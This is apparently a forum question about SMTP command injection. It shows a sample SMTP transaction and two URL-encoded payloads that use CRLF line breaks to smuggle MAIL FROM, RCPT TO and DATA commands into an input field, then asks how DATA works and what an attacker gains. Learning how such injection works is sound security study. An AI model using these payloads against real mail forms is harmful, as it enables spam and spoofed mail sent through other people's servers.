There are a few things that I dont understand about the injection.
The injection is something along this line
> .
MAIL FROM: mail1@gmail.com
RCPT TO: mail@gmail.com
DATA
EMAIL data
.
Here are two ways to inject in an inline fashion:
%0aDATA%0afoo%0a%2e%0aMAIL+FROM:+%0aRCPT+TO:+%0aDATA%0aFrom:+%0aTo:+%0aS ubject:+test%0afoo%0a%2e%0a
or
%0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+%0 d%0aRCPT+TO:+%0d%0aDATA%0d%0aFrom:+% 0d%0aTo:+%0d%0aSubject:+test%0d%0 afoo%0d%0a%2e%0d%0a
Why do I use the DATA keyword, what does it do?
Suppose the injection succeeds! what can an attacker do with it, apart from spam?